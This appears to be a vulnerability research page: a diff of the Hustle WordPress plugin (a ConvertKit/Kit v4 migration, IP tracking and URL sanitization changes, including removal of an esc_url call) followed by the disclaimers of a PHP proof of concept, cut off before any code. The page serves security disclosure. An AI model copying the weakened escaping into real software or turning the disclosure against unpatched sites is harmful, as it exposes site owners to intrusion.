+					$provider_instance instanceof Hustle_Provider_Abstract &&
+					method_exists( $provider_instance, 'process_data_migration' )
+				) {
+					$result = $provider_instance->process_data_migration();
+
+					if ( is_wp_error( $result ) ) {
+						$response['migration_notificaiton'] = array(
+							'action'  => 'notification',
+							'status'  => 'error',
+							'message' => $result->get_error_message(),
+						);
+					} else {
+						$response['migration_notificaiton'] = array(
+							'action'  => 'notification',
+							'status'  => 'success',
+							'slug'    => $provider,
+							'message' => /* translators: integration type */ sprintf( esc_html__( '%s integration successfully migrated to the new API version.', 'hustle' ), '<strong>' . esc_html( ucfirst( $provider ) ) . '</strong>' ),
+						);
+					}
+				}
+			} else {
+				return array(
+					'action'  => 'notification',
+					'status'  => 'error',
+					'message' => esc_html__( "You're not allowed to do this request.", 'hustle' ),
+				);
+			}
+		}
+
 		if ( 'external-redirect' === $action && true === $migration ) {

 			$nonce = filter_input( INPUT_GET, 'nonce' );
@@ -157,6 +194,9 @@
 				if ( 'infusionsoft' === $slug ) {
 					$response['migration_notificaiton']['message'] = /* translators: integration type */ sprintf( esc_html__( '%s integration successfully migrated to use the REST API.', 'hustle' ), '<strong>' . esc_html__( 'Keap', 'hustle' ) . '</strong>' );
 				}
+				if ( 'convertkit' === $slug ) {
+					$response['migration_notificaiton']['message'] = /* translators: integration type */ sprintf( esc_html__( '%s integration successfully migrated to use the latest API version.', 'hustle' ), '<strong>' . esc_html__( 'ConvertKit', 'hustle' ) . '</strong>' );
+				}
 			} else {

 				$response = array(
--- a/wordpress-popup/inc/hustle-sshare-model.php
+++ b/wordpress-popup/inc/hustle-sshare-model.php
@@ -286,7 +286,7 @@
 	public static function get_social_platform_names() {
 		$social_platform_names = array(
 			'facebook'      => esc_html__( 'Facebook', 'hustle' ),
-			'twitter'       => esc_html__( 'Twitter', 'hustle' ),
+			'twitter'       => esc_html__( 'X', 'hustle' ),
 			'pinterest'     => esc_html__( 'Pinterest', 'hustle' ),
 			'reddit'        => esc_html__( 'Reddit', 'hustle' ),
 			'linkedin'      => esc_html__( 'LinkedIn', 'hustle' ),
--- a/wordpress-popup/inc/hustle-tracking-model.php
+++ b/wordpress-popup/inc/hustle-tracking-model.php
@@ -77,16 +77,19 @@
 	 */
 	public function save_tracking( $module_id, $action, $module_type, $page_id, $module_sub_type = null, $date_created = null, $ip = null ) {
 		global $wpdb;
+
 		/**
 		 * IP Tracking
 		 */
-		$ip_query    = ' AND `ip` IS NULL';
 		$settings    = Hustle_Settings_Admin::get_privacy_settings();
 		$ip_tracking = ! isset( $settings['ip_tracking'] ) || 'on' === $settings['ip_tracking'];
-		if ( $ip_tracking ) {
-			$ip       = $ip ? $ip : Opt_In_Geo::get_user_ip();
+
+		if ( $ip && $ip_tracking ) {
 			$ip_query = ' AND `ip` = %s';
+		} else {
+			$ip_query = ' AND `ip` IS NULL';
 		}
+
 		if ( ! in_array( $action, array( 'conversion', 'cta_conversion', 'cta_1_conversion', 'cta_2_conversion', 'optin_conversion' ), true ) ) {
 			$action = 'view';
 		}
--- a/wordpress-popup/inc/metas/class-hustle-meta-base-emails.php
+++ b/wordpress-popup/inc/metas/class-hustle-meta-base-emails.php
@@ -41,27 +41,31 @@
 	 */
 	public function get_defaults() {
 		return array(
-			'form_elements'               => $this->get_default_form_fields(),
-			'after_successful_submission' => 'show_success',
-			'success_message'             => '',
-			'auto_close_success_message'  => '0',
-			'auto_close_time'             => 5,
-			'auto_close_unit'             => 'seconds',
-			'redirect_url'                => '',
-			'automated_email'             => '0',
-			'email_time'                  => 'instant',
-			'recipient'                   => '{email}',
-			'day'                         => '',
-			'time'                        => '',
-			'auto_email_time'             => '5',
-			'schedule_auto_email_time'    => '5',
-			'auto_email_unit'             => 'seconds',
-			'schedule_auto_email_unit'    => 'seconds',
-			'email_subject'               => '',
-			'email_body'                  => '',
-			'automated_file'              => '0',
-			'auto_download_file'          => '',
-			'redirect_tab'                => '',
+			'form_elements'                => $this->get_default_form_fields(),
+			'after_successful_submission'  => 'show_success',
+			'success_message'              => '',
+			'auto_close_success_message'   => '0',
+			'auto_close_time'              => 5,
+			'auto_close_unit'              => 'seconds',
+			'redirect_url'                 => '',
+			'automated_email'              => '0',
+			'email_time'                   => 'instant',
+			'recipient'                    => '{email}',
+			'notification_email_recipient' => get_option( 'admin_email' ),
+			'notification_email'           => '0',
+			'notification_email_subject'   => '',
+			'notification_email_body'      => '',
+			'day'                          => '',
+			'time'                         => '',
+			'auto_email_time'              => '5',
+			'schedule_auto_email_time'     => '5',
+			'auto_email_unit'              => 'seconds',
+			'schedule_auto_email_unit'     => 'seconds',
+			'email_subject'                => '',
+			'email_body'                   => '',
+			'automated_file'               => '0',
+			'auto_download_file'           => '',
+			'redirect_tab'                 => '',
 		);
 	}

--- a/wordpress-popup/inc/opt-in-utils.php
+++ b/wordpress-popup/inc/opt-in-utils.php
@@ -134,8 +134,8 @@
 			return '';
 		}

-		$host = filter_var( wp_unslash( $_SERVER['HTTP_HOST'] ), FILTER_SANITIZE_SPECIAL_CHARS );
-		$uri  = filter_var( wp_unslash( $_SERVER['REQUEST_URI'] ), FILTER_SANITIZE_SPECIAL_CHARS );
+		$host = filter_var( wp_unslash( $_SERVER['HTTP_HOST'] ), FILTER_SANITIZE_URL );
+		$uri  = filter_var( wp_unslash( $_SERVER['REQUEST_URI'] ), FILTER_SANITIZE_URL );

 		$url = $host . $uri;

@@ -143,7 +143,7 @@
 			return $url;
 		}

-		return esc_url( 'http' . ( isset( $_SERVER['HTTPS'] ) ? 's' : '' ) . '://' . $url );
+		return 'http' . ( isset( $_SERVER['HTTPS'] ) ? 's' : '' ) . '://' . $url;
 	}

 	/**
@@ -473,11 +473,11 @@
 			array_walk_recursive(
 				$value,
 				function ( &$val ) {
-					$val = sanitize_text_field( $val );
+					$val = sanitize_textarea_field( $val );
 				}
 			);
 		} else {
-			$value = sanitize_text_field( $value );
+			$value = sanitize_textarea_field( $value );
 		}

 		return $value;
@@ -1302,63 +1302,38 @@
 	 */
 	private static function is_hub_cache() {
 		$key_option = 'hustle_hub_cache_enabled';
-		$key_time   = 'hustle_hub_cache_timeout';
-		$cache      = get_site_option( $key_option, null );
-		if ( ! is_null( $cache ) ) {
-			$timeout = get_site_option( $key_time );
-			if ( time() < $timeout || ! is_admin() ) {
-				$return = $cache;
-			}
-		}
-		if ( ! isset( $return ) ) {
-			$return = self::get_hub_cache_status();
-			update_site_option( $key_option, (int) $return );
-			update_site_option( $key_time, time() + DAY_IN_SECONDS );
+		$cache      = get_site_transient( $key_option );
+
+		if ( false === $cache ) {
+			$cache = self::is_hub_cache_enabled();
+			set_site_transient( $key_option, (int) $cache, DAY_IN_SECONDS );
 		}

-		return (bool) $return;
+		return (bool) $cache;
 	}

 	/**
-	 * Check if Static Server Cache is enabled on HUB or not
+	 * Check if Static Server Cache is enabled on HUB
 	 *
 	 * @return boolean
 	 */
-	private static function get_hub_cache_status() {
-		if ( ! class_exists( 'WPMUDEV_Dashboard' ) ) {
-			return false;
-		}
-		try {
-			$api     = WPMUDEV_Dashboard::$api;
-			$api_key = $api->get_key();
-			$site_id = $api->get_site_id();
-			$base    = defined( 'WPMUDEV_CUSTOM_API_SERVER' ) && WPMUDEV_CUSTOM_API_SERVER
-				? WPMUDEV_CUSTOM_API_SERVER
-				: 'https://wpmudev.com/';
-			$url     = "{$base}api/hub/v1/sites/$site_id/modules/hosting";
-
-			$options = array(
-				'headers' => array(
-					'Authorization' => 'Basic ' . $api_key,
-					'apikey'        => $api_key,
-				),
-			);
-			$data    = array(
-				'domain' => network_site_url(),
-			);
-
-			$response = $api->call( $url, $data, 'GET', $options );
+	private static function is_hub_cache_enabled() {
+		return (bool) self::get_hosting_feature( 'static_cache' );
+	}

-			if ( 200 === wp_remote_retrieve_response_code( $response ) ) {
-				$data = json_decode( wp_remote_retrieve_body( $response ), true );
-				if ( ! empty( $data['static_cache']['is_active'] ) ) {
-					return true;
-				}
-			}
-			return false;
-		} catch ( Exception $e ) {
-			return false;
+	/**
+	 * Get list of hosting features and their status
+	 *
+	 * @param string $name The name of the hosting feature to check.
+	 * @return mixed The status of the hosting feature, or an empty string if not found.
+	 */
+	private static function get_hosting_feature( $name ) {
+		if ( function_exists( 'wpmudev_hosting_features' ) ) {
+			$states = wpmudev_hosting_features();
+			return isset( $states[ $name ] ) ? $states[ $name ] : '';
 		}
+
+		return '';
 	}

 	/**
--- a/wordpress-popup/inc/provider/class-hustle-provider-admin-ajax.php
+++ b/wordpress-popup/inc/provider/class-hustle-provider-admin-ajax.php
@@ -77,6 +77,7 @@
 		add_action( 'wp_ajax_hustle_provider_migrate_aweber', array( $this, 'migrate_aweber' ) );
 		add_action( 'wp_ajax_hustle_provider_migrate_constantcontact', array( $this, 'migrate_constantcontact' ) );
 		add_action( 'wp_ajax_hustle_provider_migrate_infusionsoft', array( $this, 'migrate_infusionsoft' ) );
+		add_action( 'wp_ajax_hustle_provider_migrate_convertkit', array( $this, 'migrate_convertkit' ) );
 	}

 	/**
@@ -594,6 +595,48 @@
 	}

 	/**
+	 * Migrate ConvertKit integration to V4
+	 *
+	 * @since 7.8.11
+	 */
+	public function migrate_convertkit() {
+		$this->validate_ajax();
+
+		if ( isset( $_POST['data'] ) && is_array( $_POST['data'] ) ) {// phpcs:ignore
+			$post_data = filter_input( INPUT_POST, 'data', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
+		} else {
+			$post_data = filter_input( INPUT_POST, 'data' );
+		}
+		$sanitized_post_data = Opt_In_Utils::validate_and_sanitize_fields( $post_data, array( 'slug', 'api_key', 'global_multi_id' ) );
+
+		$convertkit = Hustle_ConvertKit::get_instance()->configure_api_key(
+			$sanitized_post_data
+		);
+
+		if ( ! empty( $convertkit['errors'] ) ) {
+			wp_send_json_error();
+		}
+
+		$integration_id = filter_var( $sanitized_post_data['global_multi_id'], FILTER_SANITIZE_SPECIAL_CHARS );
+
+		wp_send_json_success(
+			array(
+				'redirect' => add_query_arg(
+					array(
+						'page'           => Hustle_Data::INTEGRATIONS_PAGE,
+						'migration'      => true,
+						'slug'           => 'convertkit',
+						'nonce'          => wp_create_nonce( 'hustle_provider_external_redirect' ),
+						'action'         => 'external-redirect',
+						'integration_id' => $integration_id,
+					),
+					admin_url( 'admin.php' )
+				),
+			)
+		);
+	}
+
+	/**
 	 * Check if is active on module
 	 *
 	 * @since 4.0.1
--- a/wordpress-popup/inc/providers/campaignmonitor/hustle-campaignmonitor-form-hooks.php
+++ b/wordpress-popup/inc/providers/campaignmonitor/hustle-campaignmonitor-form-hooks.php
@@ -68,12 +68,22 @@
 			if ( isset( $submitted_data['last_name'] ) ) {
 				$name['last_name'] = $submitted_data['last_name'];
 			}
-			$name = implode( ' ', $name );
+
+			if ( empty( $name ) ) {
+
+				$name = '';
+				if ( isset( $submitted_data['name'] ) ) {
+					$name = $submitted_data['name'];
+				}
+			} else {
+				$name = implode( ' ', $name );
+			}

 			// Remove unwanted fields.
 			foreach ( $submitted_data as $key => $sub_d ) {

 				if ( 'email' === $key ||
+					'name' === $key ||
 					'first_name' === $key ||
 					'last_name' === $key || 'gdpr' === $key ) {
 					continue;
--- a/wordpress-popup/inc/providers/convertkit/convertkit.php
+++ b/wordpress-popup/inc/providers/convertkit/convertkit.php
@@ -8,7 +8,9 @@
 /**
  * Direct Load
  */
+require_once __DIR__ . '/hustle-convertkit-api-intefrace.php';
 require_once __DIR__ . '/hustle-convertkit.php';
+require_once __DIR__ . '/hustle-convertkit-v2.php';
 require_once __DIR__ . '/hustle-convertkit-form-settings.php';
 require_once __DIR__ . '/hustle-convertkit-form-hooks.php';
-Hustle_Providers::get_instance()->register( 'Hustle_ConvertKit' );
+Hustle_Providers::get_instance()->register( 'Hustle_ConvertKit_V2' );
--- a/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api-intefrace.php
+++ b/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api-intefrace.php
@@ -0,0 +1,92 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_ConvertKit_Api_Interface interface
+ *
+ * @package Hustle
+ */
+
+/**
+ * ConvertKit API Interface
+ *
+ * @interface Hustle_ConvertKit_Api_Interface
+ **/
+interface Hustle_ConvertKit_Api_Interface {
+
+	/**
+	 * Retrieves ConvertKit forms as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_forms();
+
+	/**
+	 * Retrieves ConvertKit subscribers as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_subscribers();
+
+	/**
+	 * Retrieves ConvertKit form's custom fields as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_form_custom_fields();
+
+	/**
+	 * Add new custom fields to subscription
+	 *
+	 * @param array $field_data Fields data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function create_custom_fields( $field_data );
+
+	/**
+	 * Add new subscriber
+	 *
+	 * @param string $form_id Form ID.
+	 * @param array  $data Data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function subscribe( $form_id, $data );
+
+	/**
+	 * Update subscriber
+	 *
+	 * @since 4.0
+	 *
+	 * @param string $id ID.
+	 * @param array  $data Data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function update_subscriber( $id, $data );
+
+	/**
+	 * Delete subscriber from the list
+	 *
+	 * @param string $list_id List ID.
+	 * @param string $email Email.
+	 *
+	 * @return bool
+	 */
+	public function delete_email( $list_id, $email );
+
+	/**
+	 * Verify if an email is already a subscriber.
+	 *
+	 * @param string $email Email.
+	 *
+	 * @return object|false Returns data of existing subscriber if exist otherwise false.
+	 **/
+	public function is_subscriber( $email );
+
+	/**
+	 * Verify if an email is already a subscriber in a form.
+	 *
+	 * @param string  $email Email.
+	 * @param integer $form_id Form ID.
+	 *
+	 * @return boolean|integer True if the subscriber exists, otherwise false.
+	 **/
+	public function is_form_subscriber( $email, $form_id );
+}
--- a/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api-v2.php
+++ b/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api-v2.php
@@ -0,0 +1,386 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_ConvertKit_API_V2 class
+ *
+ * @package Hustle
+ */
+
+/**
+ * ConvertKit API V2 (implements Kit API V4)
+ *
+ * @class Hustle_ConvertKit_API_V2
+ **/
+class Hustle_ConvertKit_API_V2 implements Hustle_ConvertKit_Api_Interface {
+
+	/**
+	 * Api key
+	 *
+	 * @var string
+	 */
+	private $api_key;
+
+	/**
+	 * Endpoint
+	 *
+	 * @var string
+	 */
+	private $endpoint = 'https://api.kit.com/v4/';
+
+	/**
+	 * Constructs class with required data
+	 *
+	 * Hustle_ConvertKit_API_V2 constructor.
+	 *
+	 * @param string $api_key Api key.
+	 * @param string $api_secret Api secret (not used in v4).
+	 */
+	public function __construct( $api_key, $api_secret = '' ) {
+		$this->api_key = $api_key;
+	}
+
+	/**
+	 * Sends request to the endpoint url with the provided $action
+	 *
+	 * @param string $action rest action.
+	 * @param string $verb Verb.
+	 * @param array  $args Args.
+	 * @return object|WP_Error
+	 */
+	private function request( $action, $verb = 'GET', $args = array() ) {
+		$url = trailingslashit( $this->endpoint ) . $action;
+
+		$_args = array(
+			'method'  => $verb,
+			'headers' => array(
+				'X-Kit-Api-Key' => $this->api_key,
+				'Content-Type'  => 'application/json;charset=utf-8',
+			),
+		);
+
+		if ( 'GET' === $verb ) {
+			if ( ! empty( $args ) ) {
+				$url .= ( '?' . http_build_query( $args ) );
+			}
+		} else {
+			$_args['body'] = wp_json_encode( $args );
+		}
+
+		$res = wp_remote_request( $url, $_args );
+
+		// logging data.
+		$utils                     = Hustle_Provider_Utils::get_instance();
+		$utils->last_url_request   = $url;
+		$utils->last_data_sent     = $_args;
+		$utils->last_data_received = $res;
+
+		if ( ! is_wp_error( $res ) && is_array( $res ) ) {
+			$code = $res['response']['code'];
+
+			if ( $code >= 200 && $code < 300 ) {
+				$body = wp_remote_retrieve_body( $res );
+				return json_decode( $body );
+			}
+
+			$err = new WP_Error();
+			$err->add( $code, $res['response']['message'] );
+			return $err;
+		}
+
+		return $res;
+	}
+
+	/**
+	 * Sends rest GET request
+	 *
+	 * @param string $action Action.
+	 * @param array  $args Args.
+	 * @return array|mixed|object|WP_Error
+	 */
+	private function get( $action, $args = array() ) {
+		return $this->request( $action, 'GET', $args );
+	}
+
+	/**
+	 * Sends rest POST request
+	 *
+	 * @param string $action Action.
+	 * @param array  $args Args.
+	 * @return array|mixed|object|WP_Error
+	 */
+	private function post( $action, $args = array() ) {
+		return $this->request( $action, 'POST', $args );
+	}
+
+	/**
+	 * Sends rest PUT request
+	 *
+	 * @param string $action Action.
+	 * @param array  $args Args.
+	 * @return array|mixed|object|WP_Error
+	 */
+	private function put( $action, $args = array() ) {
+		return $this->request( $action, 'PUT', $args );
+	}
+
+	/**
+	 * Retrieves ConvertKit forms as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_forms() {
+		$response = $this->get( 'forms' );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		if ( ! isset( $response->forms ) ) {
+			return new WP_Error( 'forms_not_found', __( 'Not found forms with this api key.', 'hustle' ) );
+		}
+
+		return $response->forms;
+	}
+
+	/**
+	 * Retrieves ConvertKit subscribers as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_subscribers() {
+		$response = $this->get( 'subscribers' );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		if ( ! isset( $response->subscribers ) ) {
+			return new WP_Error( 'subscribers_not_found', __( 'Not found subscribers with this api key.', 'hustle' ) );
+		}
+
+		return $response->subscribers;
+	}
+
+	/**
+	 * Retrieves ConvertKit form's custom fields as array of objects
+	 *
+	 * @return array|WP_Error
+	 */
+	public function get_form_custom_fields() {
+		$response = $this->get( 'custom_fields' );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		if ( ! isset( $response->custom_fields ) ) {
+			return new WP_Error( 'custom_fields_not_found', __( 'Not found custom fields with this api key.', 'hustle' ) );
+		}
+
+		return $response->custom_fields;
+	}
+
+	/**
+	 * Add new custom fields to subscription
+	 *
+	 * @param array $field_data Fields data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function create_custom_fields( $field_data ) {
+		$args = array(
+			'label' => $field_data['label'],
+		);
+
+		$res = $this->post( 'custom_fields', $args );
+
+		return is_wp_error( $res ) ? $res : __( 'Successfully added custom field', 'hustle' );
+	}
+
+	/**
+	 * Add new subscriber
+	 *
+	 * @param string $form_id Form ID.
+	 * @param array  $data Data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function subscribe( $form_id, $data ) {
+		// First, create or update the subscriber.
+		$subscriber_data = array(
+			'email_address' => $data['email'],
+		);
+
+		if ( isset( $data['first_name'] ) ) {
+			$subscriber_data['first_name'] = $data['first_name'];
+		}
+
+		if ( isset( $data['fields'] ) ) {
+			$subscriber_data['fields'] = $data['fields'];
+		}
+
+		// Create subscriber using v4 API.
+		$subscriber_res = $this->post( 'subscribers', $subscriber_data );
+
+		if ( is_wp_error( $subscriber_res ) ) {
+			return $subscriber_res;
+		}
+
+		if ( ! isset( $subscriber_res->subscriber ) ) {
+			return new WP_Error( 'subscriber_creation_failed', __( 'Failed to create subscriber.', 'hustle' ) );
+		}
+
+		$subscriber_id = $subscriber_res->subscriber->id;
+
+		// Now add subscriber to the form.
+		$form_data = array(
+			'referrer' => isset( $data['referrer'] ) ? $data['referrer'] : '',
+		);
+
+		$url = 'forms/' . $form_id . '/subscribers/' . $subscriber_id;
+		$res = $this->post( $url, $form_data );
+
+		return is_wp_error( $res ) ? $res : __( 'Successful subscription', 'hustle' );
+	}
+
+	/**
+	 * Update subscriber
+	 *
+	 * @since 4.0
+	 *
+	 * @param string $id ID.
+	 * @param array  $data Data.
+	 * @return array|mixed|object|WP_Error
+	 */
+	public function update_subscriber( $id, $data ) {
+		$url = 'subscribers/' . $id;
+		$res = $this->put( $url, $data );
+
+		return is_wp_error( $res ) ? $res : __( 'Successful subscription', 'hustle' );
+	}
+
+	/**
+	 * Delete subscriber from the list
+	 *
+	 * @param string $list_id List ID.
+	 * @param string $email Email.
+	 *
+	 * @return bool
+	 */
+	public function delete_email( $list_id, $email ) {
+		// Get subscriber by email first.
+		$subscriber = $this->is_subscriber( $email );
+
+		if ( ! $subscriber ) {
+			return false;
+		}
+
+		$subscriber_id = is_object( $subscriber ) ? $subscriber->id : false;
+
+		if ( ! $subscriber_id ) {
+			return false;
+		}
+
+		// Unsubscribe the subscriber using v4 API.
+		$url = 'subscribers/' . $subscriber_id . '/unsubscribe';
+		$res = $this->post( $url, array() );
+
+		return ! is_wp_error( $res );
+	}
+
+	/**
+	 * Verify if an email is already a subscriber.
+	 *
+	 * @param string $email Email.
+	 *
+	 * @return object|false Returns data of existing subscriber if exist otherwise false.
+	 **/
+	public function is_subscriber( $email ) {
+		$args = array(
+			'email_address' => $email,
+		);
+
+		$res = $this->get( 'subscribers', $args );
+
+		if ( is_wp_error( $res ) ) {
+			return false;
+		}
+
+		if ( ! empty( $res->subscribers ) && is_array( $res->subscribers ) ) {
+			return array_shift( $res->subscribers );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Verify if an email is already a subscriber in a form.
+	 *
+	 * @param string  $email Email.
+	 * @param integer $form_id Form ID.
+	 *
+	 * @return boolean|integer Subscriber ID if the subscriber exists, otherwise false.
+	 **/
+	public function is_form_subscriber( $email, $form_id ) {
+		$url   = 'forms/' . $form_id . '/subscriptions';
+		$res   = $this->get( $url );
+		$exist = false;
+
+		$utils                     = Hustle_Provider_Utils::get_instance();
+		$utils->last_data_received = $res;
+		$utils->last_url_request   = trailingslashit( $this->endpoint ) . $url;
+
+		if ( is_wp_error( $res ) ) {
+			Hustle_Provider_Utils::maybe_log( 'There was an error retrieving the subscribers from Kit: ' . $res->get_error_message() );
+			return false;
+		}
+
+		if ( empty( $res->subscriptions ) ) {
+			return false;
+		}
+
+		// Check subscribers in the current page.
+		$subscribers    = wp_list_pluck( $res->subscriptions, 'subscriber' );
+		$emails         = wp_list_pluck( $subscribers, 'email_address' );
+		$subscribers_id = wp_list_pluck( $subscribers, 'id' );
+
+		$key = array_search( $email, $emails, true );
+		if ( false !== $key ) {
+			return $subscribers_id[ $key ];
+		}
+
+		// Handle pagination if there are more pages.
+		if ( isset( $res->pagination ) && $res->pagination->has_next_page && ! empty( $res->pagination->end_cursor ) ) {
+			$cursor = $res->pagination->end_cursor;
+
+			while ( $cursor ) {
+				$args = array( 'after' => $cursor );
+				$res  = $this->get( $url, $args );
+
+				$utils                     = Hustle_Provider_Utils::get_instance();
+				$utils->last_data_received = $res;
+				$utils->last_url_request   = trailingslashit( $this->endpoint ) . $url;
+				$utils->last_data_sent     = $args;
+
+				if ( is_wp_error( $res ) || empty( $res->subscriptions ) ) {
+					break;
+				}
+
+				$subscribers    = wp_list_pluck( $res->subscriptions, 'subscriber' );
+				$emails         = wp_list_pluck( $subscribers, 'email_address' );
+				$subscribers_id = wp_list_pluck( $subscribers, 'id' );
+
+				$key = array_search( $email, $emails, true );
+				if ( false !== $key ) {
+					return $subscribers_id[ $key ];
+				}
+
+				// Move to next page if available.
+				if ( isset( $res->pagination ) && $res->pagination->has_next_page && ! empty( $res->pagination->end_cursor ) ) {
+					$cursor = $res->pagination->end_cursor;
+				} else {
+					break;
+				}
+			}
+		}
+
+		return false;
+	}
+}
--- a/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api.php
+++ b/wordpress-popup/inc/providers/convertkit/hustle-convertkit-api.php
@@ -10,7 +10,7 @@
  *
  * @class Hustle_ConvertKit_Api
  **/
-class Hustle_ConvertKit_Api {
+class Hustle_ConvertKit_Api implements Hustle_ConvertKit_Api_Interface {

 	/**
 	 * Api key
--- a/wordpress-popup/inc/providers/convertkit/hustle-convertkit-form-hooks.php
+++ b/wordpress-popup/inc/providers/convertkit/hustle-convertkit-form-hooks.php
@@ -14,6 +14,36 @@
 class Hustle_ConvertKit_Form_Hooks extends Hustle_Provider_Form_Hooks_Abstract {

 	/**
+	 * Hustle_Provider_Form_Hooks_Abstract constructor.
+	 *
+	 * @param Hustle_Provider_Abstract $addon Provider's instance.
+	 * @param int                      $module_id ID of the module the form belogngs to.
+	 *
+	 * @since 7.8.11
+	 */
+	public function __construct( Hustle_Provider_Abstract $addon, $module_id ) {
+		$this->module_id = $module_id;
+
+		$this->form_settings_instance = $addon->get_provider_form_settings( $this->module_id );
+		$form_settings_values         = $this->form_settings_instance->get_form_settings_values();
+
+		if ( isset( $form_settings_values['selected_global_multi_id'] ) ) {
+			// Get the version of the addon for the selected global multi id.
+			$version = $addon->get_setting( 'version', '1.0', $form_settings_values['selected_global_multi_id'] );
+			if ( version_compare( $version, '2.0', '<' ) ) {
+				// Fallback to ConvertKit V1 for older versions.
+				// The plugin uses new ConvertKit V2 by default.
+				$addon = new Hustle_ConvertKit();
+				// get the form settings instance to be available throughout cycle.
+				$this->form_settings_instance = $addon->get_provider_form_settings( $this->module_id );
+			}
+		}
+
+		$this->addon    = $addon; // TODO: replace this by $this->provider in 4.0.1 and adapt all providers to this.
+		$this->provider = $addon;
+	}
+
+	/**
 	 * Add ConvertKit data to entry.
 	 *
 	 * @since 4.0
--- a/wordpress-popup/inc/providers/convertkit/hustle-convertkit-v2.php
+++ b/wordpress-popup/inc/providers/convertkit/hustle-convertkit-v2.php
@@ -0,0 +1,330 @@
+<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
+/**
+ * Hustle_ConvertKit_V2 class
+ *
+ * @package Hustle
+ */
+
+if ( ! class_exists( 'Hustle_ConvertKit_V2' ) ) :
+
+	include_once 'hustle-convertkit-api-v2.php';
+
+	/**
+	 * ConvertKit V2 Email Integration (API Key only)
+	 *
+	 * @class Hustle_ConvertKit_V2
+	 * @version 7.8.11
+	 **/
+	class Hustle_ConvertKit_V2 extends Hustle_ConvertKit {
+
+		/**
+		 * Api
+		 *
+		 * @var Hustle_ConvertKit_API_V2
+		 */
+		protected static $api;
+
+		/**
+		 * Version
+		 *
+		 * @since 7.8.11
+		 * @var string
+		 */
+		protected $version = '2.0';
+
+		/**
+		 * Array of options which should exist for confirming that settings are completed
+		 *
+		 * @since 7.8.11
+		 * @var array
+		 */
+		protected $completion_options = array( 'api_key' );
+
+		/**
+		 * Provider constructor.
+		 */
+		public function __construct() {
+			$this->icon_2x = plugin_dir_url( __FILE__ ) . 'images/icon.png';
+			$this->logo_2x = plugin_dir_url( __FILE__ ) . 'images/logo.jpg';
+		}
+
+		/**
+		 * Configure the API key settings. Global settings.
+		 *
+		 * @since 7.8.11
+		 *
+		 * @param array $submitted_data Submitted data.
+		 * @return array
+		 */
+		public function configure_api_key( $submitted_data ) {
+			$has_errors      = false;
+			$default_data    = array(
+				'api_key' => '',
+				'name'    => '',
+			);
+			$current_data    = $this->get_current_data( $default_data, $submitted_data );
+			$is_submit       = isset( $submitted_data['api_key'] );
+			$global_multi_id = $this->get_global_multi_id( $submitted_data );
+
+			$api_key_valid = true;
+
+			if ( $is_submit ) {
+
+				$api_key_valid     = ! empty( $current_data['api_key'] );
+				$api_key_validated = $api_key_valid && $this->validate_credentials( $submitted_data['api_key'] );
+
+				if ( ! $api_key_validated ) {
+					$error_message = $this->provider_connection_falied();
+					$api_key_valid = false;
+					$has_errors    = true;
+				}
+
+				if ( ! $has_errors ) {
+					$settings_to_save = array(
+						'api_key' => $current_data['api_key'],
+						'name'    => $current_data['name'],
+						'version' => $this->version,
+					);
+					// If not active, activate it.
+					// TODO: Wrap this in a friendlier method.
+					if ( Hustle_Provider_Utils::is_provider_active( $this->slug )
+							|| Hustle_Providers::get_instance()->activate_addon( $this->slug ) ) {
+						$this->save_multi_settings_values( $global_multi_id, $settings_to_save );
+					} else {
+						$error_message = __( "Provider couldn't be activated.", 'hustle' );
+						$has_errors    = true;
+					}
+				}
+
+				if ( ! $has_errors ) {
+
+					return array(
+						'html'         => Hustle_Provider_Utils::get_integration_modal_title_markup( __( 'Kit Added', 'hustle' ), __( 'You can now go to your pop-ups, slide-ins and embeds and assign them to this integration', 'hustle' ) ),
+						'buttons'      => array(
+							'close' => array(
+								'markup' => Hustle_Provider_Utils::get_provider_button_markup( __( 'Close', 'hustle' ), 'sui-button-ghost', 'close' ),
+							),
+						),
+						'redirect'     => false,
+						'has_errors'   => false,
+						'notification' => array(
+							'type' => 'success',
+							'text' => '<strong>' . $this->get_title() . '</strong> ' . esc_html__( 'Successfully connected', 'hustle' ),
+						),
+					);
+
+				}
+			}
+
+			$options = array(
+				array(
+					'type'     => 'wrapper',
+					'class'    => $api_key_valid ? '' : 'sui-form-field-error',
+					'elements' => array(
+						'label'   => array(
+							'type'  => 'label',
+							'for'   => 'api_key',
+							'value' => __( 'API Key', 'hustle' ),
+						),
+						'api_

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
